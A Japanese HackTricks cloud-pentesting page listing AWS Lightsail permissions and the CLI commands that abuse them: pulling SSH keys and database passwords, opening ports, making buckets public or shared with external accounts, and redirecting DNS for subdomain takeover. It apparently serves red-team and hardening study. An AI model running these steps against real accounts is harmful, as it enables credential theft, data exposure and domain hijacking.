AWS - Lightsail Privesc
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Lightsail
Lightsailに関する詳細情報は、以下を確認してください:
warning
Lightsailはユーザーに属するIAMロールを使用しないが、AWS管理アカウントに属するため、このサービスを利用して権限昇格を行うことはできません。しかし、機密データ(コード、APIキー、データベース情報など)がこのサービス内に存在する可能性があります。
lightsail:DownloadDefaultKeyPair
この権限により、インスタンスにアクセスするためのSSHキーを取得できます:
aws lightsail download-default-key-pair
潜在的な影響: インスタンス内の機密情報を見つける。
lightsail:GetInstanceAccessDetails
この権限を使用すると、インスタンスにアクセスするためのSSHキーを生成できます:
aws lightsail get-instance-access-details --instance-name <instance_name>
潜在的な影響: インスタンス内の機密情報を見つける。
lightsail:CreateBucketAccessKey
この権限を使用すると、バケットにアクセスするためのキーを取得できます:
aws lightsail create-bucket-access-key --bucket-name <name>
潜在的な影響: バケット内の機密情報を見つける。
lightsail:GetRelationalDatabaseMasterUserPassword
この権限により、データベースにアクセスするための資格情報を取得できます:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
潜在的な影響: データベース内の機密情報を見つける。
lightsail:UpdateRelationalDatabase
この権限を使用すると、データベースにアクセスするためのパスワードを変更できます。
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
データベースが公開されていない場合、これらの権限を使用して公開することもできます。
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
潜在的な影響: データベース内の機密情報を見つける。
lightsail:OpenInstancePublicPorts
この権限は、ポートをインターネットに開放することを許可します。
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
潜在的な影響: 機密ポートへのアクセス。
lightsail:PutInstancePublicPorts
この権限は、ポートをインターネットに開放することを許可します。指定されていないポートは閉じられることに注意してください。
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
潜在的な影響: 機密ポートにアクセスする。
lightsail:SetResourceAccessForBucket
この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを許可します。
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
潜在的な影響: 機密情報を含むバケットへの新たなアクセスの可能性。
lightsail:UpdateBucket
この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
潜在的な影響: 機密情報を含むバケットへの新しいアクセスの可能性。
lightsail:UpdateContainerService
この権限を持つ攻撃者は、コンテナサービスからプライベートECRへのアクセスを付与することができます。
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
潜在的な影響: プライベートECRから機密情報を取得する
lightsail:CreateDomainEntry
この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができる(サブドメインの乗っ取り)、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
潜在的な影響: ドメインの乗っ取り
lightsail:UpdateDomainEntry
この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる(サブドメインの乗っ取り)、またはSPFレコードを作成してドメインからのメールを偽装することを許可することができる、さらにはメインドメインを自分のIPアドレスに設定することさえできる。
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
潜在的な影響: ドメインの乗っ取り
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。